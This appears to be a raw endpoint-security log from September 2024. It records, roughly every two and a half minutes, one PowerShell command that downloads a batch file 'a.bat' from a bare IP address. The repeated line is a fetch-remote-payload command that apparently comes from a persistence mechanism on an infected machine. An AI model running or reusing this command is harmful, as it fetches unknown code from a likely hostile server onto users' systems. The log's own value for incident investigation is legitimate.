C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:01:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:06:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:07:02 AVAVER: 21.2.2455 AR2: 240830 defs: 24091510 2024-09-16 23:07:02 ARPOT2: Start 1332 2024-09-16 23:07:02 AR2CFG: 240830 2024-09-16 23:07:02 AR2DEV: Start 1 Driver: 210305 2024-09-16 23:08:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:11:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:13:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:16:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:18:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:21:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:23:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:26:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:28:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:31:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:36:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:38:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:41:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:43:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:46:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:48:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:51:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:53:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:56:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 23:58:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:01:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:03:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:06:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:08:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:11:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:13:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:16:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:18:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:21:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:23:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:26:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:28:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:31:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:33:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:36:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:38:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:41:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:43:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:46:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:48:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:51:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:53:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:56:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 00:58:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:01:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:03:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:06:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:08:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:11:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:13:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:16:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:18:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:21:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:23:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:26:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:28:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:31:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:33:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:36:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:38:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:41:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:43:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:46:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:48:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:51:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:53:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:56:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 01:58:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:01:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:03:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:06:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:08:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:11:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:13:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:16:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:19:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:21:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:24:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:26:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:29:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:31:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:34:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:36:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:39:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:41:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:44:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:46:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:49:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:51:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:54:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:56:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 02:59:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:01:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:04:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:06:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:09:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:11:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:14:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:16:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:19:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:21:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:24:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:26:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:29:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:31:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:34:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:36:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:39:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:41:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:44:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:46:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:49:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:51:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:54:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:56:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 03:59:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:01:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:04:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:06:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:09:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:11:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:14:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:16:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:19:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:21:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:24:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:26:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:29:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:31:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:34:19 NOTIFY: 